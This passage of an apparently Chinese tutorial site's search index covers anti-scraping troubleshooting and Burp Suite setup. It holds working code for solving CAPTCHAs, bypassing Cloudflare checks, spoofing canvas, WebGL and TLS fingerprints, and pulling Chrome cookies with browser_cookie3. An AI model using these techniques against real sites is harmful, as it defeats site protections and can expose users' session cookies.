self.api_key, 'action': 'get', 'id': captcha_id } ) if result.text.startswith('OK|'): return result.text.split('|')[1] raise Exception(\"Timeout waiting for result\") # 使用示例 solver = TwoCaptcha(api_key='your_api_key') code = solver.solve_image_captcha('captcha.jpg') 3. 滑块验证码 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains import time def solve_slider_captcha(driver): \"\"\"解决滑块验证码\"\"\" # 找到滑块元素 slider = driver.find_element('css selector', '.slider-button') # 模拟人类滑动轨迹 def get_track(distance): \"\"\"生成移动轨迹\"\"\" track = [] current = 0 mid = distance * 4 / 5 # 加速阶段 while current \u003c mid: move = 2 track.append(move) current += move # 减速阶段 while current \u003c distance: move = 1 track.append(move) current += move return track # 获取需要滑动的距离 distance = 260 # 根据实际情况调整 # 执行滑动 action = ActionChains(driver) action.click_and_hold(slider).perform() for move in get_track(distance): action.move_by_offset(move, 0).perform() time.sleep(0.01) action.release().perform() time.sleep(1) ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:4:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#2-使用打码平台"},{"categories":null,"collections":null,"content":"解决方案 1. 图片验证码识别 (OCR) from PIL import Image import pytesseract import requests from io import BytesIO def recognize_captcha(captcha_url): \"\"\"OCR 识别验证码\"\"\" # 下载验证码 response = requests.get(captcha_url) img = Image.open(BytesIO(response.content)) # 图片预处理 img = img.convert('L') # 转灰度 img = img.point(lambda x: 0 if x \u003c 128 else 255) # 二值化 # OCR 识别 code = pytesseract.image_to_string(img, config='--psm 7') return code.strip() # 使用示例 captcha_code = recognize_captcha('https://example.com/captcha.jpg') print(f\"Recognized: {captcha_code}\") 2. 使用打码平台 import requests import time class TwoCaptcha: \"\"\"2Captcha 打码平台\"\"\" def __init__(self, api_key): self.api_key = api_key self.base_url = \"http://2captcha.com\" def solve_image_captcha(self, image_path): \"\"\"解决图片验证码\"\"\" # 1. 提交验证码 with open(image_path, 'rb') as f: files = {'file': f} data = {'key': self.api_key, 'method': 'post'} response = requests.post( f\"{self.base_url}/in.php\", files=files, data=data ) if not response.text.startswith('OK|'): raise Exception(f\"Submit failed: {response.text}\") captcha_id = response.text.split('|')[1] # 2. 轮询结果 for _ in range(20): time.sleep(5) result = requests.get( f\"{self.base_url}/res.php\", params={ 'key': self.api_key, 'action': 'get', 'id': captcha_id } ) if result.text.startswith('OK|'): return result.text.split('|')[1] raise Exception(\"Timeout waiting for result\") # 使用示例 solver = TwoCaptcha(api_key='your_api_key') code = solver.solve_image_captcha('captcha.jpg') 3. 滑块验证码 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains import time def solve_slider_captcha(driver): \"\"\"解决滑块验证码\"\"\" # 找到滑块元素 slider = driver.find_element('css selector', '.slider-button') # 模拟人类滑动轨迹 def get_track(distance): \"\"\"生成移动轨迹\"\"\" track = [] current = 0 mid = distance * 4 / 5 # 加速阶段 while current \u003c mid: move = 2 track.append(move) current += move # 减速阶段 while current \u003c distance: move = 1 track.append(move) current += move return track # 获取需要滑动的距离 distance = 260 # 根据实际情况调整 # 执行滑动 action = ActionChains(driver) action.click_and_hold(slider).perform() for move in get_track(distance): action.move_by_offset(move, 0).perform() time.sleep(0.01) action.release().perform() time.sleep(1) ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:4:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#3-滑块验证码"},{"categories":null,"collections":null,"content":"JavaScript 挑战 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:5:0","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#javascript-挑战"},{"categories":null,"collections":null,"content":"问题表现 页面显示 “Checking your browser” Cloudflare、DataDome 等防护 需要执行 JavaScript 才能访问 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:5:1","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#问题表现-4"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 cloudscraper import cloudscraper # 自动绕过 Cloudflare scraper = cloudscraper.create_scraper() response = scraper.get(url) print(response.text) 2. 使用 Selenium + undetected-chromedriver import undetected_chromedriver as uc driver = uc.Chrome() driver.get(url) # 等待页面加载 time.sleep(5) # 获取内容 html = driver.page_source driver.quit() 3. 使用 Playwright (Stealth) from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch( headless=True, args=['--disable-blink-features=AutomationControlled'] ) context = browser.new_context( viewport={'width': 1920, 'height': 1080}, user_agent='Mozilla/5.0 ...' ) page = context.new_page() # 添加 stealth 脚本 page.add_init_script(\"\"\" Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); Object.defineProperty(navigator, 'plugins', { get: () =\u003e [1, 2, 3, 4, 5] }); \"\"\") page.goto(url) page.wait_for_load_state('networkidle') content = page.content() browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:5:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#解决方案-4"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 cloudscraper import cloudscraper # 自动绕过 Cloudflare scraper = cloudscraper.create_scraper() response = scraper.get(url) print(response.text) 2. 使用 Selenium + undetected-chromedriver import undetected_chromedriver as uc driver = uc.Chrome() driver.get(url) # 等待页面加载 time.sleep(5) # 获取内容 html = driver.page_source driver.quit() 3. 使用 Playwright (Stealth) from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch( headless=True, args=['--disable-blink-features=AutomationControlled'] ) context = browser.new_context( viewport={'width': 1920, 'height': 1080}, user_agent='Mozilla/5.0 ...' ) page = context.new_page() # 添加 stealth 脚本 page.add_init_script(\"\"\" Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); Object.defineProperty(navigator, 'plugins', { get: () =\u003e [1, 2, 3, 4, 5] }); \"\"\") page.goto(url) page.wait_for_load_state('networkidle') content = page.content() browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:5:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#1-使用-cloudscraper"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 cloudscraper import cloudscraper # 自动绕过 Cloudflare scraper = cloudscraper.create_scraper() response = scraper.get(url) print(response.text) 2. 使用 Selenium + undetected-chromedriver import undetected_chromedriver as uc driver = uc.Chrome() driver.get(url) # 等待页面加载 time.sleep(5) # 获取内容 html = driver.page_source driver.quit() 3. 使用 Playwright (Stealth) from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch( headless=True, args=['--disable-blink-features=AutomationControlled'] ) context = browser.new_context( viewport={'width': 1920, 'height': 1080}, user_agent='Mozilla/5.0 ...' ) page = context.new_page() # 添加 stealth 脚本 page.add_init_script(\"\"\" Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); Object.defineProperty(navigator, 'plugins', { get: () =\u003e [1, 2, 3, 4, 5] }); \"\"\") page.goto(url) page.wait_for_load_state('networkidle') content = page.content() browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:5:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#2-使用-selenium--undetected-chromedriver"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 cloudscraper import cloudscraper # 自动绕过 Cloudflare scraper = cloudscraper.create_scraper() response = scraper.get(url) print(response.text) 2. 使用 Selenium + undetected-chromedriver import undetected_chromedriver as uc driver = uc.Chrome() driver.get(url) # 等待页面加载 time.sleep(5) # 获取内容 html = driver.page_source driver.quit() 3. 使用 Playwright (Stealth) from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch( headless=True, args=['--disable-blink-features=AutomationControlled'] ) context = browser.new_context( viewport={'width': 1920, 'height': 1080}, user_agent='Mozilla/5.0 ...' ) page = context.new_page() # 添加 stealth 脚本 page.add_init_script(\"\"\" Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); Object.defineProperty(navigator, 'plugins', { get: () =\u003e [1, 2, 3, 4, 5] }); \"\"\") page.goto(url) page.wait_for_load_state('networkidle') content = page.content() browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:5:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#3-使用-playwright-stealth"},{"categories":null,"collections":null,"content":"Cookie/Session 跟踪 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:6:0","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#cookiesession-跟踪"},{"categories":null,"collections":null,"content":"问题表现 需要保持登录状态 跨页面请求失败 Session 过期 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:6:1","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#问题表现-5"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 Session 对象 import requests session = requests.Session() # 登录 login_data = { 'username': 'user', 'password': 'pass' } session.post('https://example.com/login', data=login_data) # 后续请求自动携带 Cookie response = session.get('https://example.com/protected-page') # 保存 Session import pickle with open('session.pkl', 'wb') as f: pickle.dump(session.cookies, f) # 加载 Session with open('session.pkl', 'rb') as f: session.cookies.update(pickle.load(f)) 2. 浏览器 Cookie 导入 import browser_cookie3 # 从 Chrome 获取 Cookie cookies = browser_cookie3.chrome(domain_name='example.com') session = requests.Session() session.cookies = cookies response = session.get('https://example.com') ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:6:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#解决方案-5"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 Session 对象 import requests session = requests.Session() # 登录 login_data = { 'username': 'user', 'password': 'pass' } session.post('https://example.com/login', data=login_data) # 后续请求自动携带 Cookie response = session.get('https://example.com/protected-page') # 保存 Session import pickle with open('session.pkl', 'wb') as f: pickle.dump(session.cookies, f) # 加载 Session with open('session.pkl', 'rb') as f: session.cookies.update(pickle.load(f)) 2. 浏览器 Cookie 导入 import browser_cookie3 # 从 Chrome 获取 Cookie cookies = browser_cookie3.chrome(domain_name='example.com') session = requests.Session() session.cookies = cookies response = session.get('https://example.com') ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:6:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#1-使用-session-对象"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 Session 对象 import requests session = requests.Session() # 登录 login_data = { 'username': 'user', 'password': 'pass' } session.post('https://example.com/login', data=login_data) # 后续请求自动携带 Cookie response = session.get('https://example.com/protected-page') # 保存 Session import pickle with open('session.pkl', 'wb') as f: pickle.dump(session.cookies, f) # 加载 Session with open('session.pkl', 'rb') as f: session.cookies.update(pickle.load(f)) 2. 浏览器 Cookie 导入 import browser_cookie3 # 从 Chrome 获取 Cookie cookies = browser_cookie3.chrome(domain_name='example.com') session = requests.Session() session.cookies = cookies response = session.get('https://example.com') ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:6:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#2-浏览器-cookie-导入"},{"categories":null,"collections":null,"content":"TLS 指纹识别 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:7:0","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#tls-指纹识别"},{"categories":null,"collections":null,"content":"问题表现 即使 Headers 完全相同仍被检测 基于 JA3 指纹识别 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:7:1","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#问题表现-6"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 curl_cffi from curl_cffi import requests # 模拟 Chrome 的 TLS 指纹 response = requests.get( url, impersonate=\"chrome110\" ) print(response.text) 2. 使用真实浏览器 # Playwright 和 Selenium 使用真实浏览器, # 自然具有真实的 TLS 指纹 from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch() page = browser.new_page() page.goto(url) content = page.content() browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:7:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#解决方案-6"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 curl_cffi from curl_cffi import requests # 模拟 Chrome 的 TLS 指纹 response = requests.get( url, impersonate=\"chrome110\" ) print(response.text) 2. 使用真实浏览器 # Playwright 和 Selenium 使用真实浏览器, # 自然具有真实的 TLS 指纹 from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch() page = browser.new_page() page.goto(url) content = page.content() browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:7:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#1-使用-curl_cffi"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 curl_cffi from curl_cffi import requests # 模拟 Chrome 的 TLS 指纹 response = requests.get( url, impersonate=\"chrome110\" ) print(response.text) 2. 使用真实浏览器 # Playwright 和 Selenium 使用真实浏览器, # 自然具有真实的 TLS 指纹 from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch() page = browser.new_page() page.goto(url) content = page.content() browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:7:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#2-使用真实浏览器"},{"categories":null,"collections":null,"content":"WebSocket 反爬 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:8:0","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#websocket-反爬"},{"categories":null,"collections":null,"content":"问题表现 实时数据通过 WebSocket 传输 需要维持长连接 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:8:1","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#问题表现-7"},{"categories":null,"collections":null,"content":"解决方案 import websocket import json def on_message(ws, message): \"\"\"接收消息回调\"\"\" data = json.loads(message) print(f\"Received: {data}\") def on_error(ws, error): print(f\"Error: {error}\") def on_close(ws, close_status_code, close_msg): print(\"Connection closed\") def on_open(ws): \"\"\"连接建立后发送订阅消息\"\"\" subscribe_msg = json.dumps({ \"action\": \"subscribe\", \"channel\": \"data_feed\" }) ws.send(subscribe_msg) # 创建 WebSocket 连接 ws = websocket.WebSocketApp( \"wss://example.com/ws\", on_open=on_open, on_message=on_message, on_error=on_error, on_close=on_close, header={ \"User-Agent\": \"Mozilla/5.0 ...\", \"Origin\": \"https://example.com\" } ) ws.run_forever() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:8:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#解决方案-7"},{"categories":null,"collections":null,"content":"设备指纹识别 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:9:0","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#设备指纹识别"},{"categories":null,"collections":null,"content":"问题表现 Canvas 指纹 WebGL 指纹 浏览器特征识别 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:9:1","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#问题表现-8"},{"categories":null,"collections":null,"content":"解决方案 1. 使用指纹欺骗 from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch() context = browser.new_context() # 注入反指纹脚本 context.add_init_script(\"\"\" // 欺骗 Canvas 指纹 const originalToDataURL = HTMLCanvasElement.prototype.toDataURL; HTMLCanvasElement.prototype.toDataURL = function() { const context = this.getContext('2d'); const imageData = context.getImageData(0, 0, this.width, this.height); // 添加噪点 for (let i = 0; i \u003c imageData.data.length; i += 4) { imageData.data[i] += Math.random() * 10 - 5; } context.putImageData(imageData, 0, 0); return originalToDataURL.apply(this, arguments); }; // 欺骗 WebGL 指纹 const getParameter = WebGLRenderingContext.prototype.getParameter; WebGLRenderingContext.prototype.getParameter = function(parameter) { if (parameter === 37445) { return 'Intel Inc.'; } if (parameter === 37446) { return 'Intel Iris OpenGL Engine'; } return getParameter.apply(this, arguments); }; \"\"\") page = context.new_page() page.goto(url) browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:9:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#解决方案-8"},{"categories":null,"collections":null,"content":"解决方案 1. 使用指纹欺骗 from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch() context = browser.new_context() # 注入反指纹脚本 context.add_init_script(\"\"\" // 欺骗 Canvas 指纹 const originalToDataURL = HTMLCanvasElement.prototype.toDataURL; HTMLCanvasElement.prototype.toDataURL = function() { const context = this.getContext('2d'); const imageData = context.getImageData(0, 0, this.width, this.height); // 添加噪点 for (let i = 0; i \u003c imageData.data.length; i += 4) { imageData.data[i] += Math.random() * 10 - 5; } context.putImageData(imageData, 0, 0); return originalToDataURL.apply(this, arguments); }; // 欺骗 WebGL 指纹 const getParameter = WebGLRenderingContext.prototype.getParameter; WebGLRenderingContext.prototype.getParameter = function(parameter) { if (parameter === 37445) { return 'Intel Inc.'; } if (parameter === 37446) { return 'Intel Iris OpenGL Engine'; } return getParameter.apply(this, arguments); }; \"\"\") page = context.new_page() page.goto(url) browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:9:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#1-使用指纹欺骗"},{"categories":null,"collections":null,"content":"相关章节 浏览器指纹 CAPTCHA 绕过 反爬虫深度剖析 TLS 指纹 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:10:0","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#相关章节"},{"categories":null,"collections":null,"content":"工具使用问题 常见开发和逆向工具的问题及解决方案。 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:0:0","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#工具使用问题"},{"categories":null,"collections":null,"content":"Chrome DevTools 问题 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:1:0","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#chrome-devtools-问题"},{"categories":null,"collections":null,"content":"无法打开 DevTools 问题: 按 F12 或右键检查无反应 解决方案: // 1. 检查是否被禁用 // 某些网站会禁用右键菜单和快捷键 // 绕过方法 1: 在地址栏输入 //inspect // 绕过方法 2: 从菜单打开 // Chrome → 更多工具 → 开发者工具 // 绕过方法 3: 使用快捷键组合 chrome: Ctrl + Shift + I(Windows / Linux); Cmd + Option + I(Mac); ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:1:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#无法打开-devtools"},{"categories":null,"collections":null,"content":"DevTools 显示异常 问题: DevTools 界面混乱、卡顿或崩溃 解决方案: # 1. 重置 DevTools 设置 # 打开 DevTools → Settings (F1) → Restore defaults # 2. 清除 DevTools 缓存 # Settings → Preferences → Network → Disable cache (while DevTools is open) # 3. 禁用扩展 # 在隐身模式打开 (Ctrl + Shift + N) # 4. 完全重置 Chrome # 删除用户数据目录 # Windows: %LOCALAPPDATA%\\Google\\Chrome\\User Data # Mac: ~/Library/Application Support/Google/Chrome # Linux: ~/.config/google-chrome ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:1:2","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#devtools-显示异常"},{"categories":null,"collections":null,"content":"Network 面板无法抓包 问题: Network 标签页中看不到请求 解决方案: 检查过滤器 // Network 面板中，确保: // - 未勾选 \"Hide data URLs\" // - Filter 输入框为空 // - All 类型已选中 启用日志保留 // Network → 勾选 \"Preserve log\" // 这样页面跳转后仍能看到之前的请求 清除缓存 // 右键刷新按钮 → \"Empty Cache and Hard Reload\" ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:1:3","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#network-面板无法抓包"},{"categories":null,"collections":null,"content":"Burp Suite 配置问题 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:2:0","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#burp-suite-配置问题"},{"categories":null,"collections":null,"content":"代理配置不生效 问题: 设置代理后浏览器无法访问网站 解决方案: 1. 检查代理设置 # Burp Suite 默认代理 127.0.0.1:8080 # 浏览器代理设置 (Chrome) chrome://settings/system # 或使用 SwitchyOmega 扩展 2. 检查 Burp 监听器 Proxy → Options → Proxy Listeners 确保: - Running: 勾选 - Interface: 127.0.0.1:8080 - Support invisible proxying: 勾选 (如需要) 3. 防火墙设置 # Windows 防火墙可能阻止本地端口 # 添加入站规则允许 8080 端口 # Linux sudo ufw allow 8080 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:2:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#代理配置不生效"},{"categories":null,"collections":null,"content":"代理配置不生效 问题: 设置代理后浏览器无法访问网站 解决方案: 1. 检查代理设置 # Burp Suite 默认代理 127.0.0.1:8080 # 浏览器代理设置 (Chrome) chrome://settings/system # 或使用 SwitchyOmega 扩展 2. 检查 Burp 监听器 Proxy → Options → Proxy Listeners 确保: - Running: 勾选 - Interface: 127.0.0.1:8080 - Support invisible proxying: 勾选 (如需要) 3. 防火墙设置 # Windows 防火墙可能阻止本地端口 # 添加入站规则允许 8080 端口 # Linux sudo ufw allow 8080 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:2:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#1-检查代理设置"},{"categories":null,"collections":null,"content":"代理配置不生效 问题: 设置代理后浏览器无法访问网站 解决方案: 1. 检查代理设置 # Burp Suite 默认代理 127.0.0.1:8080 # 浏览器代理设置 (Chrome) chrome://settings/system # 或使用 SwitchyOmega 扩展 2. 检查 Burp 监听器 Proxy → Options → Proxy Listeners 确保: - Running: 勾选 - Interface: 127.0.0.1:8080 - Support invisible proxying: 勾选 (如需要) 3. 防火墙设置 # Windows 防火墙可能阻止本地端口 # 添加入站规则允许 8080 端口 # Linux sudo ufw allow 8080 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:2:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#2-检查-burp-监听器"},{"categories":null,"collections":null,"content":"代理配置不生效 问题: 设置代理后浏览器无法访问网站 解决方案: 1. 检查代理设置 # Burp Suite 默认代理 127.0.0.1:8080 # 浏览器代理设置 (Chrome) chrome://settings/system # 或使用 SwitchyOmega 扩展 2. 检查 Burp 监听器 Proxy → Options → Proxy Listeners 确保: - Running: 勾选 - Interface: 127.0.0.1:8080 - Support invisible proxying: 勾选 (如需要) 3. 防火墙设置 # Windows 防火墙可能阻止本地端口 # 添加入站规则允许 8080 端口 # Linux sudo ufw allow 8080 ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:2:1","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#3-防火墙设置"},{"categories":null,"collections":null,"content":"SSL 证书问题 问题: HTTPS 网站显示证书错误 解决方案: 1. 导入 Burp CA 证书 # 1. 导出证书 # Proxy → Options → Import/Export CA certificate # 导出为 DER 格式 # 2. 安装到系统 # Windows: 双击 .cer 文件 → 安装到\"受信任的根证书颁发机构\" # Mac: 双击 → 添加到钥匙串 → 设置为\"始终信任\" # Linux: sudo cp cacert.der /usr/local/share/ca-certificates/burp.crt # sudo update-ca-certificates 2. Firefox 特殊配置 Firefox 使用独立证书存储 1. 打开 Firefox → Settings → Privacy \u0026 Security 2. Certificates → View Certificates → Import 3. 导入 Burp CA 证书 4. 勾选 \"Trust this CA to identify websites\" ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:2:2","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#ssl-证书问题"},{"categories":null,"collections":null,"content":"SSL 证书问题 问题: HTTPS 网站显示证书错误 解决方案: 1. 导入 Burp CA 证书 # 1. 导出证书 # Proxy → Options → Import/Export CA certificate # 导出为 DER 格式 # 2. 安装到系统 # Windows: 双击 .cer 文件 → 安装到\"受信任的根证书颁发机构\" # Mac: 双击 → 添加到钥匙串 → 设置为\"始终信任\" # Linux: sudo cp cacert.der /usr/local/share/ca-certificates/burp.crt # sudo update-ca-certificates 2. Firefox 特殊配置 Firefox 使用独立证书存储 1. 打开 Firefox → Settings → Privacy \u0026 Security 2. Certificates → View Certificates → Import 3. 导入 Burp CA 证书 4. 勾选 \"Trust this CA to identify websites\" ","date":"2024-11-25","objectID":"/reverse_engineering/web/10-troubleshooting/tool_issues/:2:2","tags":["Web","问题排查","代理池","SSL Pinning","加密分析","Root检测"],"title":"工具使用问题","uri":"/reverse_engineering/web/10-troubleshooting/tool_issues/#1-导入-burp-ca-证书"},{"categories":null,"collections":null,"content":"SSL 证书问题 问题: HTTPS 网站显示证书错误 解决方案: 1. 导入 Burp CA 证书 # 1. 导出证书 # Proxy → Options → Import/Export CA certificate # 导出为 DER 格式 # 2. 安装到系统 # Windows: 双击 .cer 文件 → 安装到\"受信任的根证书颁发机构\" # Mac: 双击 → 添加到钥匙串 → 设置为\"始终信任\" # Linux: sudo cp cacert.der /usr/local/share/ca-certificates/burp.crt # sudo update-ca-certificates 2. Firefox 特殊配置 Firefox 使用独立证书存储 1. 打开 